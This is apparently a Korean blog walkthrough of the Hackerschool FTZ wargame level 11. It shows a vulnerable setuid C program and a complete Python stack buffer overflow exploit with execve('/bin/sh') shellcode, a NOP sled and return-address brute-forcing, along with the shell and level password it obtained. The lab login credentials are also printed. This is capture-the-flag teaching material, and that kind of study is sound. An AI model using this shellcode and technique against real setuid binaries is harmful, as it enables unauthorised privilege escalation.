Wargame/FTZ

Hackerschool FTZ level11

pwn3r_45 2011. 7. 19. 01:53
Category : System hacking

ssh://ftz.hackerschool.org
id : level11
pw : what!@#$?

Summary : buffer overflow on redhat 6.2



서버에 접속하여 문제 파일을 확인한다.

[level11@ftz level11]$ ls -l
합계 28
-rwsr-x---    1 level12  level11     13733  3월  8  2003 attackme
-rw-r-----    1 root     level11       168  3월  8  2003 hint
drwxr-xr-x    2 root     level11      4096  2월 24  2002 public_html
drwxrwxr-x    4 root     level11      4096  7월 12 13:18 tmp
[level11@ftz level11]$ cat hint

#include <stdio.h>
#include <stdlib.h>
 
int main( int argc, char *argv[] )
{
 char str[256];

 setreuid( 3092, 3092 );
 strcpy( str, argv[1] );
 printf( str );
}

 


attackme 라는 setuid가 걸린 level12 user의 프로그램과 hint가 있는데 , hint에는 attackme 프로그램의 source가 나와있다.
source를 보게되면 strcpy함수로 인해 발생하는 overflow 취약점과 format string bug 취약점이 있음을 볼 수 있다.

overflow 취약점을 이용한 풀이를 할것이다.
stack에 실행 권한이 있으므로 shellcode를 이용한 공격을 할 것 이다.
지역변수는 str배열 하나만 선언되었기 때문에 , 지역변수의 크기만 알면 쉽게 공격할 수 있다.

0x08048473 <main+3>:sub    $0x108,%esp

지역변수는 총 264바이트가 선언되었으므로 sfp포함 268바이트를 덮어주고 return address에 nop + shellcode 의 주소를 넣어준다. shellcode는 지역변수공간에 넣어준다.

이제 shellcode가 위치한 주소를 찾아주어야 하는데, 디버깅을 하면 매우 쉽게 찾을 수 있지만 , 이번에는 python script를 작성하여 return address를 브루트포싱해 공격해본다.

[level11@ftz .pwn3r]$ vi exploit.py
[level11@ftz .pwn3r]$ cat exploit.py
#!/usr/bin/python

import os

TARGET = "/home/level11/attackme"
SHELLCODE = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

print "[!] Exploit started!"

for i in range(0xff , 0x00 , -1):
 for j in range(0x01 , 0x100 , 200):
  payload = ""
  payload += "\x90" * 200
  payload += SHELLCODE
  payload += "\x90" * (68 - len(SHELLCODE))
  payload += chr(j) + chr(i) + "\xff\xbf"
  pid = os.fork()

  if pid == 0:
   os.execv(TARGET , ("pwn3r" , payload))
  else:
   os.waitpid(pid , 0)
[level11@ftz .pwn3r]$ ./exploit.py
[!] Exploit started!
sh-2.05b$ id
uid=3092(level12) gid=3091(level11) groups=3091(level11)
sh-2.05b$ my-pass
TERM environment variable not set.

Level12 Password is "it is like this".


level12 user의 쉘을 획득하고 password를 얻었다.